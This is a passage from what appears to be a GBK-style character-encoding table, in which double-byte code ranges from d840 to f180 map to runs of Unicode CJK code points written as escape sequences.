8BC5\u963B\u7EC4\u94BB\u7E82\u5634\u9189\u6700\u7F6A\u5C0A\u9075\u6628\u5DE6\u4F50\u67DE\u505A\u4F5C\u5750\u5EA7"],["d840","\u8C38",8,"\u8C42\u8C43\u8C44\u8C45\u8C48\u8C4A\u8C4B\u8C4D",7,"\u8C56\u8C57\u8C58\u8C59\u8C5B",5,"\u8C63",6,"\u8C6C",6,"\u8C74\u8C75\u8C76\u8C77\u8C7B",6,"\u8C83\u8C84\u8C86\u8C87"],["d880","\u8C88\u8C8B\u8C8D",6,"\u8C95\u8C96\u8C97\u8C99",20,"\u4E8D\u4E0C\u5140\u4E10\u5EFF\u5345\u4E15\u4E98\u4E1E\u9B32\u5B6C\u5669\u4E28\u79BA\u4E3F\u5315\u4E47\u592D\u723B\u536E\u6C10\u56DF\u80E4\u9997\u6BD3\u777E\u9F17\u4E36\u4E9F\u9F10\u4E5C\u4E69\u4E93\u8288\u5B5B\u556C\u560F\u4EC4\u538D\u539D\u53A3\u53A5\u53AE\u9765\u8D5D\u531A\u53F5\u5326\u532E\u533E\u8D5C\u5366\u5363\u5202\u5208\u520E\u522D\u5233\u523F\u5240\u524C\u525E\u5261\u525C\u84AF\u527D\u5282\u5281\u5290\u5293\u5182\u7F54\u4EBB\u4EC3\u4EC9\u4EC2\u4EE8\u4EE1\u4EEB\u4EDE\u4F1B\u4EF3\u4F22\u4F64\u4EF5\u4F25\u4F27\u4F09\u4F2B\u4F5E\u4F67\u6538\u4F5A\u4F5D"],["d940","\u8CAE",62],["d980","\u8CED",32,"\u4F5F\u4F57\u4F32\u4F3D\u4F76\u4F74\u4F91\u4F89\u4F83\u4F8F\u4F7E\u4F7B\u4FAA\u4F7C\u4FAC\u4F94\u4FE6\u4FE8\u4FEA\u4FC5\u4FDA\u4FE3\u4FDC\u4FD1\u4FDF\u4FF8\u5029\u504C\u4FF3\u502C\u500F\u502E\u502D\u4FFE\u501C\u500C\u5025\u5028\u507E\u5043\u5055\u5048\u504E\u506C\u507B\u50A5\u50A7\u50A9\u50BA\u50D6\u5106\u50ED\u50EC\u50E6\u50EE\u5107\u510B\u4EDD\u6C3D\u4F58\u4F65\u4FCE\u9FA0\u6C46\u7C74\u516E\u5DFD\u9EC9\u9998\u5181\u5914\u52F9\u530D\u8A07\u5310\u51EB\u5919\u5155\u4EA0\u5156\u4EB3\u886E\u88A4\u4EB5\u8114\u88D2\u7980\u5B34\u8803\u7FB8\u51AB\u51B1\u51BD\u51BC"],["da40","\u8D0E",14,"\u8D20\u8D51\u8D52\u8D57\u8D5F\u8D65\u8D68\u8D69\u8D6A\u8D6C\u8D6E\u8D6F\u8D71\u8D72\u8D78",8,"\u8D82\u8D83\u8D86\u8D87\u8D88\u8D89\u8D8C",4,"\u8D92\u8D93\u8D95",9,"\u8DA0\u8DA1"],["da80","\u8DA2\u8DA4",12,"\u8DB2\u8DB6\u8DB7\u8DB9\u8DBB\u8DBD\u8DC0\u8DC1\u8DC2\u8DC5\u8DC7\u8DC8\u8DC9\u8DCA\u8DCD\u8DD0\u8DD2\u8DD3\u8DD4\u51C7\u5196\u51A2\u51A5\u8BA0\u8BA6\u8BA7\u8BAA\u8BB4\u8BB5\u8BB7\u8BC2\u8BC3\u8BCB\u8BCF\u8BCE\u8BD2\u8BD3\u8BD4\u8BD6\u8BD8\u8BD9\u8BDC\u8BDF\u8BE0\u8BE4\u8BE8\u8BE9\u8BEE\u8BF0\u8BF3\u8BF6\u8BF9\u8BFC\u8BFF\u8C00\u8C02\u8C04\u8C07\u8C0C\u8C0F\u8C11\u8C12\u8C14\u8C15\u8C16\u8C19\u8C1B\u8C18\u8C1D\u8C1F\u8C20\u8C21\u8C25\u8C27\u8C2A\u8C2B\u8C2E\u8C2F\u8C32\u8C33\u8C35\u8C36\u5369\u537A\u961D\u9622\u9621\u9631\u962A\u963D\u963C\u9642\u9649\u9654\u965F\u9667\u966C\u9672\u9674\u9688\u968D\u9697\u96B0\u9097\u909B\u909D\u9099\u90AC\u90A1\u90B4\u90B3\u90B6\u90BA"],["db40","\u8DD5\u8DD8\u8DD9\u8DDC\u8DE0\u8DE1\u8DE2\u8DE5\u8DE6\u8DE7\u8DE9\u8DED\u8DEE\u8DF0\u8DF1\u8DF2\u8DF4\u8DF6\u8DFC\u8DFE",6,"\u8E06\u8E07\u8E08\u8E0B\u8E0D\u8E0E\u8E10\u8E11\u8E12\u8E13\u8E15",7,"\u8E20\u8E21\u8E24",4,"\u8E2B\u8E2D\u8E30\u8E32\u8E33\u8E34\u8E36\u8E37\u8E38\u8E3B\u8E3C\u8E3E"],["db80","\u8E3F\u8E43\u8E45\u8E46\u8E4C",4,"\u8E53",5,"\u8E5A",11,"\u8E67\u8E68\u8E6A\u8E6B\u8E6E\u8E71\u90B8\u90B0\u90CF\u90C5\u90BE\u90D0\u90C4\u90C7\u90D3\u90E6\u90E2\u90DC\u90D7\u90DB\u90EB\u90EF\u90FE\u9104\u9122\u911E\u9123\u9131\u912F\u9139\u9143\u9146\u520D\u5942\u52A2\u52AC\u52AD\u52BE\u54FF\u52D0\u52D6\u52F0\u53DF\u71EE\u77CD\u5EF4\u51F5\u51FC\u9B2F\u53B6\u5F01\u755A\u5DEF\u574C\u57A9\u57A1\u587E\u58BC\u58C5\u58D1\u5729\u572C\u572A\u5733\u5739\u572E\u572F\u575C\u573B\u5742\u5769\u5785\u576B\u5786\u577C\u577B\u5768\u576D\u5776\u5773\u57AD\u57A4\u578C\u57B2\u57CF\u57A7\u57B4\u5793\u57A0\u57D5\u57D8\u57DA\u57D9\u57D2\u57B8\u57F4\u57EF\u57F8\u57E4\u57DD"],["dc40","\u8E73\u8E75\u8E77",4,"\u8E7D\u8E7E\u8E80\u8E82\u8E83\u8E84\u8E86\u8E88",6,"\u8E91\u8E92\u8E93\u8E95",6,"\u8E9D\u8E9F",11,"\u8EAD\u8EAE\u8EB0\u8EB1\u8EB3",6,"\u8EBB",7],["dc80","\u8EC3",10,"\u8ECF",21,"\u580B\u580D\u57FD\u57ED\u5800\u581E\u5819\u5844\u5820\u5865\u586C\u5881\u5889\u589A\u5880\u99A8\u9F19\u61FF\u8279\u827D\u827F\u828F\u828A\u82A8\u8284\u828E\u8291\u8297\u8299\u82AB\u82B8\u82BE\u82B0\u82C8\u82CA\u82E3\u8298\u82B7\u82AE\u82CB\u82CC\u82C1\u82A9\u82B4\u82A1\u82AA\u829F\u82C4\u82CE\u82A4\u82E1\u8309\u82F7\u82E4\u830F\u8307\u82DC\u82F4\u82D2\u82D8\u830C\u82FB\u82D3\u8311\u831A\u8306\u8314\u8315\u82E0\u82D5\u831C\u8351\u835B\u835C\u8308\u8392\u833C\u8334\u8331\u839B\u835E\u832F\u834F\u8347\u8343\u835F\u8340\u8317\u8360\u832D\u833A\u8333\u8366\u8365"],["dd40","\u8EE5",62],["dd80","\u8F24",32,"\u8368\u831B\u8369\u836C\u836A\u836D\u836E\u83B0\u8378\u83B3\u83B4\u83A0\u83AA\u8393\u839C\u8385\u837C\u83B6\u83A9\u837D\u83B8\u837B\u8398\u839E\u83A8\u83BA\u83BC\u83C1\u8401\u83E5\u83D8\u5807\u8418\u840B\u83DD\u83FD\u83D6\u841C\u8438\u8411\u8406\u83D4\u83DF\u840F\u8403\u83F8\u83F9\u83EA\u83C5\u83C0\u8426\u83F0\u83E1\u845C\u8451\u845A\u8459\u8473\u8487\u8488\u847A\u8489\u8478\u843C\u8446\u8469\u8476\u848C\u848E\u8431\u846D\u84C1\u84CD\u84D0\u84E6\u84BD\u84D3\u84CA\u84BF\u84BA\u84E0\u84A1\u84B9\u84B4\u8497\u84E5\u84E3\u850C\u750D\u8538\u84F0\u8539\u851F\u853A"],["de40","\u8F45",32,"\u8F6A\u8F80\u8F8C\u8F92\u8F9D\u8FA0\u8FA1\u8FA2\u8FA4\u8FA5\u8FA6\u8FA7\u8FAA\u8FAC\u8FAD\u8FAE\u8FAF\u8FB2\u8FB3\u8FB4\u8FB5\u8FB7\u8FB8\u8FBA\u8FBB\u8FBC\u8FBF\u8FC0\u8FC3\u8FC6"],["de80","\u8FC9",4,"\u8FCF\u8FD2\u8FD6\u8FD7\u8FDA\u8FE0\u8FE1\u8FE3\u8FE7\u8FEC\u8FEF\u8FF1\u8FF2\u8FF4\u8FF5\u8FF6\u8FFA\u8FFB\u8FFC\u8FFE\u8FFF\u9007\u9008\u900C\u900E\u9013\u9015\u9018\u8556\u853B\u84FF\u84FC\u8559\u8548\u8568\u8564\u855E\u857A\u77A2\u8543\u8572\u857B\u85A4\u85A8\u8587\u858F\u8579\u85AE\u859C\u8585\u85B9\u85B7\u85B0\u85D3\u85C1\u85DC\u85FF\u8627\u8605\u8629\u8616\u863C\u5EFE\u5F08\u593C\u5941\u8037\u5955\u595A\u5958\u530F\u5C22\u5C25\u5C2C\u5C34\u624C\u626A\u629F\u62BB\u62CA\u62DA\u62D7\u62EE\u6322\u62F6\u6339\u634B\u6343\u63AD\u63F6\u6371\u637A\u638E\u63B4\u636D\u63AC\u638A\u6369\u63AE\u63BC\u63F2\u63F8\u63E0\u63FF\u63C4\u63DE\u63CE\u6452\u63C6\u63BE\u6445\u6441\u640B\u641B\u6420\u640C\u6426\u6421\u645E\u6484\u646D\u6496"],["df40","\u9019\u901C\u9023\u9024\u9025\u9027",5,"\u9030",4,"\u9037\u9039\u903A\u903D\u903F\u9040\u9043\u9045\u9046\u9048",4,"\u904E\u9054\u9055\u9056\u9059\u905A\u905C",5,"\u9064\u9066\u9067\u9069\u906A\u906B\u906C\u906F",4,"\u9076",6,"\u907E\u9081"],["df80","\u9084\u9085\u9086\u9087\u9089\u908A\u908C",4,"\u9092\u9094\u9096\u9098\u909A\u909C\u909E\u909F\u90A0\u90A4\u90A5\u90A7\u90A8\u90A9\u90AB\u90AD\u90B2\u90B7\u90BC\u90BD\u90BF\u90C0\u647A\u64B7\u64B8\u6499\u64BA\u64C0\u64D0\u64D7\u64E4\u64E2\u6509\u6525\u652E\u5F0B\u5FD2\u7519\u5F11\u535F\u53F1\u53FD\u53E9\u53E8\u53FB\u5412\u5416\u5406\u544B\u5452\u5453\u5454\u5456\u5443\u5421\u5457\u5459\u5423\u5432\u5482\u5494\u5477\u5471\u5464\u549A\u549B\u5484\u5476\u5466\u549D\u54D0\u54AD\u54C2\u54B4\u54D2\u54A7\u54A6\u54D3\u54D4\u5472\u54A3\u54D5\u54BB\u54BF\u54CC\u54D9\u54DA\u54DC\u54A9\u54AA\u54A4\u54DD\u54CF\u54DE\u551B\u54E7\u5520\u54FD\u5514\u54F3\u5522\u5523\u550F\u5511\u5527\u552A\u5567\u558F\u55B5\u5549\u556D\u5541\u5555\u553F\u5550\u553C"],["e040","\u90C2\u90C3\u90C6\u90C8\u90C9\u90CB\u90CC\u90CD\u90D2\u90D4\u90D5\u90D6\u90D8\u90D9\u90DA\u90DE\u90DF\u90E0\u90E3\u90E4\u90E5\u90E9\u90EA\u90EC\u90EE\u90F0\u90F1\u90F2\u90F3\u90F5\u90F6\u90F7\u90F9\u90FA\u90FB\u90FC\u90FF\u9100\u9101\u9103\u9105",19,"\u911A\u911B\u911C"],["e080","\u911D\u911F\u9120\u9121\u9124",10,"\u9130\u9132",6,"\u913A",8,"\u9144\u5537\u5556\u5575\u5576\u5577\u5533\u5530\u555C\u558B\u55D2\u5583\u55B1\u55B9\u5588\u5581\u559F\u557E\u55D6\u5591\u557B\u55DF\u55BD\u55BE\u5594\u5599\u55EA\u55F7\u55C9\u561F\u55D1\u55EB\u55EC\u55D4\u55E6\u55DD\u55C4\u55EF\u55E5\u55F2\u55F3\u55CC\u55CD\u55E8\u55F5\u55E4\u8F94\u561E\u5608\u560C\u5601\u5624\u5623\u55FE\u5600\u5627\u562D\u5658\u5639\u5657\u562C\u564D\u5662\u5659\u565C\u564C\u5654\u5686\u5664\u5671\u566B\u567B\u567C\u5685\u5693\u56AF\u56D4\u56D7\u56DD\u56E1\u56F5\u56EB\u56F9\u56FF\u5704\u570A\u5709\u571C\u5E0F\u5E19\u5E14\u5E11\u5E31\u5E3B\u5E3C"],["e140","\u9145\u9147\u9148\u9151\u9153\u9154\u9155\u9156\u9158\u9159\u915B\u915C\u915F\u9160\u9166\u9167\u9168\u916B\u916D\u9173\u917A\u917B\u917C\u9180",4,"\u9186\u9188\u918A\u918E\u918F\u9193",6,"\u919C",5,"\u91A4",5,"\u91AB\u91AC\u91B0\u91B1\u91B2\u91B3\u91B6\u91B7\u91B8\u91B9\u91BB"],["e180","\u91BC",10,"\u91C8\u91CB\u91D0\u91D2",9,"\u91DD",8,"\u5E37\u5E44\u5E54\u5E5B\u5E5E\u5E61\u5C8C\u5C7A\u5C8D\u5C90\u5C96\u5C88\u5C98\u5C99\u5C91\u5C9A\u5C9C\u5CB5\u5CA2\u5CBD\u5CAC\u5CAB\u5CB1\u5CA3\u5CC1\u5CB7\u5CC4\u5CD2\u5CE4\u5CCB\u5CE5\u5D02\u5D03\u5D27\u5D26\u5D2E\u5D24\u5D1E\u5D06\u5D1B\u5D58\u5D3E\u5D34\u5D3D\u5D6C\u5D5B\u5D6F\u5D5D\u5D6B\u5D4B\u5D4A\u5D69\u5D74\u5D82\u5D99\u5D9D\u8C73\u5DB7\u5DC5\u5F73\u5F77\u5F82\u5F87\u5F89\u5F8C\u5F95\u5F99\u5F9C\u5FA8\u5FAD\u5FB5\u5FBC\u8862\u5F61\u72AD\u72B0\u72B4\u72B7\u72B8\u72C3\u72C1\u72CE\u72CD\u72D2\u72E8\u72EF\u72E9\u72F2\u72F4\u72F7\u7301\u72F3\u7303\u72FA"],["e240","\u91E6",62],["e280","\u9225",32,"\u72FB\u7317\u7313\u7321\u730A\u731E\u731D\u7315\u7322\u7339\u7325\u732C\u7338\u7331\u7350\u734D\u7357\u7360\u736C\u736F\u737E\u821B\u5925\u98E7\u5924\u5902\u9963\u9967",5,"\u9974\u9977\u997D\u9980\u9984\u9987\u998A\u998D\u9990\u9991\u9993\u9994\u9995\u5E80\u5E91\u5E8B\u5E96\u5EA5\u5EA0\u5EB9\u5EB5\u5EBE\u5EB3\u8D53\u5ED2\u5ED1\u5EDB\u5EE8\u5EEA\u81BA\u5FC4\u5FC9\u5FD6\u5FCF\u6003\u5FEE\u6004\u5FE1\u5FE4\u5FFE\u6005\u6006\u5FEA\u5FED\u5FF8\u6019\u6035\u6026\u601B\u600F\u600D\u6029\u602B\u600A\u603F\u6021\u6078\u6079\u607B\u607A\u6042"],["e340","\u9246",45,"\u9275",16],["e380","\u9286",7,"\u928F",24,"\u606A\u607D\u6096\u609A\u60AD\u609D\u6083\u6092\u608C\u609B\u60EC\u60BB\u60B1\u60DD\u60D8\u60C6\u60DA\u60B4\u6120\u6126\u6115\u6123\u60F4\u6100\u610E\u612B\u614A\u6175\u61AC\u6194\u61A7\u61B7\u61D4\u61F5\u5FDD\u96B3\u95E9\u95EB\u95F1\u95F3\u95F5\u95F6\u95FC\u95FE\u9603\u9604\u9606\u9608\u960A\u960B\u960C\u960D\u960F\u9612\u9615\u9616\u9617\u9619\u961A\u4E2C\u723F\u6215\u6C35\u6C54\u6C5C\u6C4A\u6CA3\u6C85\u6C90\u6C94\u6C8C\u6C68\u6C69\u6C74\u6C76\u6C86\u6CA9\u6CD0\u6CD4\u6CAD\u6CF7\u6CF8\u6CF1\u6CD7\u6CB2\u6CE0\u6CD6\u6CFA\u6CEB\u6CEE\u6CB1\u6CD3\u6CEF\u6CFE"],["e440","\u92A8",5,"\u92AF",24,"\u92C9",31],["e480","\u92E9",32,"\u6D39\u6D27\u6D0C\u6D43\u6D48\u6D07\u6D04\u6D19\u6D0E\u6D2B\u6D4D\u6D2E\u6D35\u6D1A\u6D4F\u6D52\u6D54\u6D33\u6D91\u6D6F\u6D9E\u6DA0\u6D5E\u6D93\u6D94\u6D5C\u6D60\u6D7C\u6D63\u6E1A\u6DC7\u6DC5\u6DDE\u6E0E\u6DBF\u6DE0\u6E11\u6DE6\u6DDD\u6DD9\u6E16\u6DAB\u6E0C\u6DAE\u6E2B\u6E6E\u6E4E\u6E6B\u6EB2\u6E5F\u6E86\u6E53\u6E54\u6E32\u6E25\u6E44\u6EDF\u6EB1\u6E98\u6EE0\u6F2D\u6EE2\u6EA5\u6EA7\u6EBD\u6EBB\u6EB7\u6ED7\u6EB4\u6ECF\u6E8F\u6EC2\u6E9F\u6F62\u6F46\u6F47\u6F24\u6F15\u6EF9\u6F2F\u6F36\u6F4B\u6F74\u6F2A\u6F09\u6F29\u6F89\u6F8D\u6F8C\u6F78\u6F72\u6F7C\u6F7A\u6FD1"],["e540","\u930A",51,"\u933F",10],["e580","\u934A",31,"\u936B\u6FC9\u6FA7\u6FB9\u6FB6\u6FC2\u6FE1\u6FEE\u6FDE\u6FE0\u6FEF\u701A\u7023\u701B\u7039\u7035\u704F\u705E\u5B80\u5B84\u5B95\u5B93\u5BA5\u5BB8\u752F\u9A9E\u6434\u5BE4\u5BEE\u8930\u5BF0\u8E47\u8B07\u8FB6\u8FD3\u8FD5\u8FE5\u8FEE\u8FE4\u8FE9\u8FE6\u8FF3\u8FE8\u9005\u9004\u900B\u9026\u9011\u900D\u9016\u9021\u9035\u9036\u902D\u902F\u9044\u9051\u9052\u9050\u9068\u9058\u9062\u905B\u66B9\u9074\u907D\u9082\u9088\u9083\u908B\u5F50\u5F57\u5F56\u5F58\u5C3B\u54AB\u5C50\u5C59\u5B71\u5C63\u5C66\u7FBC\u5F2A\u5F29\u5F2D\u8274\u5F3C\u9B3B\u5C6E\u5981\u5983\u598D\u59A9\u59AA\u59A3"],["e640","\u936C",34,"\u9390",27],["e680","\u93AC",29,"\u93CB\u93CC\u93CD\u5997\u59CA\u59AB\u599E\u59A4\u59D2\u59B2\u59AF\u59D7\u59BE\u5A05\u5A06\u59DD\u5A08\u59E3\u59D8\u59F9\u5A0C\u5A09\u5A32\u5A34\u5A11\u5A23\u5A13\u5A40\u5A67\u5A4A\u5A55\u5A3C\u5A62\u5A75\u80EC\u5AAA\u5A9B\u5A77\u5A7A\u5ABE\u5AEB\u5AB2\u5AD2\u5AD4\u5AB8\u5AE0\u5AE3\u5AF1\u5AD6\u5AE6\u5AD8\u5ADC\u5B09\u5B17\u5B16\u5B32\u5B37\u5B40\u5C15\u5C1C\u5B5A\u5B65\u5B73\u5B51\u5B53\u5B62\u9A75\u9A77\u9A78\u9A7A\u9A7F\u9A7D\u9A80\u9A81\u9A85\u9A88\u9A8A\u9A90\u9A92\u9A93\u9A96\u9A98\u9A9B\u9A9C\u9A9D\u9A9F\u9AA0\u9AA2\u9AA3\u9AA5\u9AA7\u7E9F\u7EA1\u7EA3\u7EA5\u7EA8\u7EA9"],["e740","\u93CE",7,"\u93D7",54],["e780","\u940E",32,"\u7EAD\u7EB0\u7EBE\u7EC0\u7EC1\u7EC2\u7EC9\u7ECB\u7ECC\u7ED0\u7ED4\u7ED7\u7EDB\u7EE0\u7EE1\u7EE8\u7EEB\u7EEE\u7EEF\u7EF1\u7EF2\u7F0D\u7EF6\u7EFA\u7EFB\u7EFE\u7F01\u7F02\u7F03\u7F07\u7F08\u7F0B\u7F0C\u7F0F\u7F11\u7F12\u7F17\u7F19\u7F1C\u7F1B\u7F1F\u7F21",6,"\u7F2A\u7F2B\u7F2C\u7F2D\u7F2F",4,"\u7F35\u5E7A\u757F\u5DDB\u753E\u9095\u738E\u7391\u73AE\u73A2\u739F\u73CF\u73C2\u73D1\u73B7\u73B3\u73C0\u73C9\u73C8\u73E5\u73D9\u987C\u740A\u73E9\u73E7\u73DE\u73BA\u73F2\u740F\u742A\u745B\u7426\u7425\u7428\u7430\u742E\u742C"],["e840","\u942F",14,"\u943F",43,"\u946C\u946D\u946E\u946F"],["e880","\u9470",20,"\u9491\u9496\u9498\u94C7\u94CF\u94D3\u94D4\u94DA\u94E6\u94FB\u951C\u9520\u741B\u741A\u7441\u745C\u7457\u7455\u7459\u7477\u746D\u747E\u749C\u748E\u7480\u7481\u7487\u748B\u749E\u74A8\u74A9\u7490\u74A7\u74D2\u74BA\u97EA\u97EB\u97EC\u674C\u6753\u675E\u6748\u6769\u67A5\u6787\u676A\u6773\u6798\u67A7\u6775\u67A8\u679E\u67AD\u678B\u6777\u677C\u67F0\u6809\u67D8\u680A\u67E9\u67B0\u680C\u67D9\u67B5\u67DA\u67B3\u67DD\u6800\u67C3\u67B8\u67E2\u680E\u67C1\u67FD\u6832\u6833\u6860\u6861\u684E\u6862\u6844\u6864\u6883\u681D\u6855\u6866\u6841\u6867\u6840\u683E\u684A\u6849\u6829\u68B5\u688F\u6874\u6877\u6893\u686B\u68C2\u696E\u68FC\u691F\u6920\u68F9"],["e940","\u9527\u9533\u953D\u9543\u9548\u954B\u9555\u955A\u9560\u956E\u9574\u9575\u9577",7,"\u9580",42],["e980","\u95AB",32,"\u6924\u68F0\u690B\u6901\u6957\u68E3\u6910\u6971\u6939\u6960\u6942\u695D\u6984\u696B\u6980\u6998\u6978\u6934\u69CC\u6987\u6988\u69CE\u6989\u6966\u6963\u6979\u699B\u69A7\u69BB\u69AB\u69AD\u69D4\u69B1\u69C1\u69CA\u69DF\u6995\u69E0\u698D\u69FF\u6A2F\u69ED\u6A17\u6A18\u6A65\u69F2\u6A44\u6A3E\u6AA0\u6A50\u6A5B\u6A35\u6A8E\u6A79\u6A3D\u6A28\u6A58\u6A7C\u6A91\u6A90\u6AA9\u6A97\u6AAB\u7337\u7352\u6B81\u6B82\u6B87\u6B84\u6B92\u6B93\u6B8D\u6B9A\u6B9B\u6BA1\u6BAA\u8F6B\u8F6D\u8F71\u8F72\u8F73\u8F75\u8F76\u8F78\u8F77\u8F79\u8F7A\u8F7C\u8F7E\u8F81\u8F82\u8F84\u8F87\u8F8B"],["ea40","\u95CC",27,"\u95EC\u95FF\u9607\u9613\u9618\u961B\u961E\u9620\u9623",6,"\u962B\u962C\u962D\u962F\u9630\u9637\u9638\u9639\u963A\u963E\u9641\u9643\u964A\u964E\u964F\u9651\u9652\u9653\u9656\u9657"],["ea80","\u9658\u9659\u965A\u965C\u965D\u965E\u9660\u9663\u9665\u9666\u966B\u966D",4,"\u9673\u9678",12,"\u9687\u9689\u968A\u8F8D\u8F8E\u8F8F\u8F98\u8F9A\u8ECE\u620B\u6217\u621B\u621F\u6222\u6221\u6225\u6224\u622C\u81E7\u74EF\u74F4\u74FF\u750F\u7511\u7513\u6534\u65EE\u65EF\u65F0\u660A\u6619\u6772\u6603\u6615\u6600\u7085\u66F7\u661D\u6634\u6631\u6636\u6635\u8006\u665F\u6654\u6641\u664F\u6656\u6661\u6657\u6677\u6684\u668C\u66A7\u669D\u66BE\u66DB\u66DC\u66E6\u66E9\u8D32\u8D33\u8D36\u8D3B\u8D3D\u8D40\u8D45\u8D46\u8D48\u8D49\u8D47\u8D4D\u8D55\u8D59\u89C7\u89CA\u89CB\u89CC\u89CE\u89CF\u89D0\u89D1\u726E\u729F\u725D\u7266\u726F\u727E\u727F\u7284\u728B\u728D\u728F\u7292\u6308\u6332\u63B0"],["eb40","\u968C\u968E\u9691\u9692\u9693\u9695\u9696\u969A\u969B\u969D",9,"\u96A8",7,"\u96B1\u96B2\u96B4\u96B5\u96B7\u96B8\u96BA\u96BB\u96BF\u96C2\u96C3\u96C8\u96CA\u96CB\u96D0\u96D1\u96D3\u96D4\u96D6",9,"\u96E1",6,"\u96EB"],["eb80","\u96EC\u96ED\u96EE\u96F0\u96F1\u96F2\u96F4\u96F5\u96F8\u96FA\u96FB\u96FC\u96FD\u96FF\u9702\u9703\u9705\u970A\u970B\u970C\u9710\u9711\u9712\u9714\u9715\u9717",4,"\u971D\u971F\u9720\u643F\u64D8\u8004\u6BEA\u6BF3\u6BFD\u6BF5\u6BF9\u6C05\u6C07\u6C06\u6C0D\u6C15\u6C18\u6C19\u6C1A\u6C21\u6C29\u6C24\u6C2A\u6C32\u6535\u6555\u656B\u724D\u7252\u7256\u7230\u8662\u5216\u809F\u809C\u8093\u80BC\u670A\u80BD\u80B1\u80AB\u80AD\u80B4\u80B7\u80E7\u80E8\u80E9\u80EA\u80DB\u80C2\u80C4\u80D9\u80CD\u80D7\u6710\u80DD\u80EB\u80F1\u80F4\u80ED\u810D\u810E\u80F2\u80FC\u6715\u8112\u8C5A\u8136\u811E\u812C\u8118\u8132\u8148\u814C\u8153\u8174\u8159\u815A\u8171\u8160\u8169\u817C\u817D\u816D\u8167\u584D\u5AB5\u8188\u8182\u8191\u6ED5\u81A3\u81AA\u81CC\u6726\u81CA\u81BB"],["ec40","\u9721",8,"\u972B\u972C\u972E\u972F\u9731\u9733",4,"\u973A\u973B\u973C\u973D\u973F",18,"\u9754\u9755\u9757\u9758\u975A\u975C\u975D\u975F\u9763\u9764\u9766\u9767\u9768\u976A",7],["ec80","\u9772\u9775\u9777",4,"\u977D",7,"\u9786",4,"\u978C\u978E\u978F\u9790\u9793\u9795\u9796\u9797\u9799",4,"\u81C1\u81A6\u6B24\u6B37\u6B39\u6B43\u6B46\u6B59\u98D1\u98D2\u98D3\u98D5\u98D9\u98DA\u6BB3\u5F40\u6BC2\u89F3\u6590\u9F51\u6593\u65BC\u65C6\u65C4\u65C3\u65CC\u65CE\u65D2\u65D6\u7080\u709C\u7096\u709D\u70BB\u70C0\u70B7\u70AB\u70B1\u70E8\u70CA\u7110\u7113\u7116\u712F\u7131\u7173\u715C\u7168\u7145\u7172\u714A\u7178\u717A\u7198\u71B3\u71B5\u71A8\u71A0\u71E0\u71D4\u71E7\u71F9\u721D\u7228\u706C\u7118\u7166\u71B9\u623E\u623D\u6243\u6248\u6249\u793B\u7940\u7946\u7949\u795B\u795C\u7953\u795A\u7962\u7957\u7960\u796F\u7967\u797A\u7985\u798A\u799A\u79A7\u79B3\u5FD1\u5FD0"],["ed40","\u979E\u979F\u97A1\u97A2\u97A4",6,"\u97AC\u97AE\u97B0\u97B1\u97B3\u97B5",46],["ed80","\u97E4\u97E5\u97E8\u97EE",4,"\u97F4\u97F7",23,"\u603C\u605D\u605A\u6067\u6041\u6059\u6063\u60AB\u6106\u610D\u615D\u61A9\u619D\u61CB\u61D1\u6206\u8080\u807F\u6C93\u6CF6\u6DFC\u77F6\u77F8\u7800\u7809\u7817\u7818\u7811\u65AB\u782D\u781C\u781D\u7839\u783A\u783B\u781F\u783C\u7825\u782C\u7823\u7829\u784E\u786D\u7856\u7857\u7826\u7850\u7847\u784C\u786A\u789B\u7893\u789A\u7887\u789C\u78A1\u78A3\u78B2\u78B9\u78A5\u78D4\u78D9\u78C9\u78EC\u78F2\u7905\u78F4\u7913\u7924\u791E\u7934\u9F9B\u9EF9\u9EFB\u9EFC\u76F1\u7704\u770D\u76F9\u7707\u7708\u771A\u7722\u7719\u772D\u7726\u7735\u7738\u7750\u7751\u7747\u7743\u775A\u7768"],["ee40","\u980F",62],["ee80","\u984E",32,"\u7762\u7765\u777F\u778D\u777D\u7780\u778C\u7791\u779F\u77A0\u77B0\u77B5\u77BD\u753A\u7540\u754E\u754B\u7548\u755B\u7572\u7579\u7583\u7F58\u7F61\u7F5F\u8A48\u7F68\u7F74\u7F71\u7F79\u7F81\u7F7E\u76CD\u76E5\u8832\u9485\u9486\u9487\u948B\u948A\u948C\u948D\u948F\u9490\u9494\u9497\u9495\u949A\u949B\u949C\u94A3\u94A4\u94AB\u94AA\u94AD\u94AC\u94AF\u94B0\u94B2\u94B4\u94B6",4,"\u94BC\u94BD\u94BF\u94C4\u94C8",6,"\u94D0\u94D1\u94D2\u94D5\u94D6\u94D7\u94D9\u94D8\u94DB\u94DE\u94DF\u94E0\u94E2\u94E4\u94E5\u94E7\u94E8\u94EA"],["ef40","\u986F",5,"\u988B\u988E\u9892\u9895\u9899\u98A3\u98A8",37,"\u98CF\u98D0\u98D4\u98D6\u98D7\u98DB\u98DC\u98DD\u98E0",4],["ef80","\u98E5\u98E6\u98E9",30,"\u94E9\u94EB\u94EE\u94EF\u94F3\u94F4\u94F5\u94F7\u94F9\u94FC\u94FD\u94FF\u9503\u9502\u9506\u9507\u9509\u950A\u950D\u950E\u950F\u9512",4,"\u9518\u951B\u951D\u951E\u951F\u9522\u952A\u952B\u9529\u952C\u9531\u9532\u9534\u9536\u9537\u9538\u953C\u953E\u953F\u9542\u9535\u9544\u9545\u9546\u9549\u954C\u954E\u954F\u9552\u9553\u9554\u9556\u9557\u9558\u9559\u955B\u955E\u955F\u955D\u9561\u9562\u9564",8,"\u956F\u9571\u9572\u9573\u953A\u77E7\u77EC\u96C9\u79D5\u79ED\u79E3\u79EB\u7A06\u5D47\u7A03\u7A02\u7A1E\u7A14"],["f040","\u9908",4,"\u990E\u990F\u9911",28,"\u992F",26],["f080","\u994A",9,"\u9956",12,"\u9964\u9966\u9973\u9978\u9979\u997B\u997E\u9982\u9983\u9989\u7A39\u7A37\u7A51\u9ECF\u99A5\u7A70\u7688\u768E\u7693\u7699\u76A4\u74DE\u74E0\u752C\u9E20\u9E22\u9E28",4,"\u9E32\u9E31\u9E36\u9E38\u9E37\u9E39\u9E3A\u9E3E\u9E41\u9E42\u9E44\u9E46\u9E47\u9E48\u9E49\u9E4B\u9E4C\u9E4E\u9E51\u9E55\u9E57\u9E5A\u9E5B\u9E5C\u9E5E\u9E63\u9E66",6,"\u9E71\u9E6D\u9E73\u7592\u7594\u7596\u75A0\u759D\u75AC\u75A3\u75B3\u75B4\u75B8\u75C4\u75B1\u75B0\u75C3\u75C2\u75D6\u75CD\u75E3\u75E8\u75E6\u75E4\u75EB\u75E7\u7603\u75F1\u75FC\u75FF\u7610\u7600\u7605\u760C\u7617\u760A\u7625\u7618\u7615\u7619"],["f140","\u998C\u998E\u999A",10,"\u99A6\u99A7\u99A9",47],["f180","\u99D9",32,"\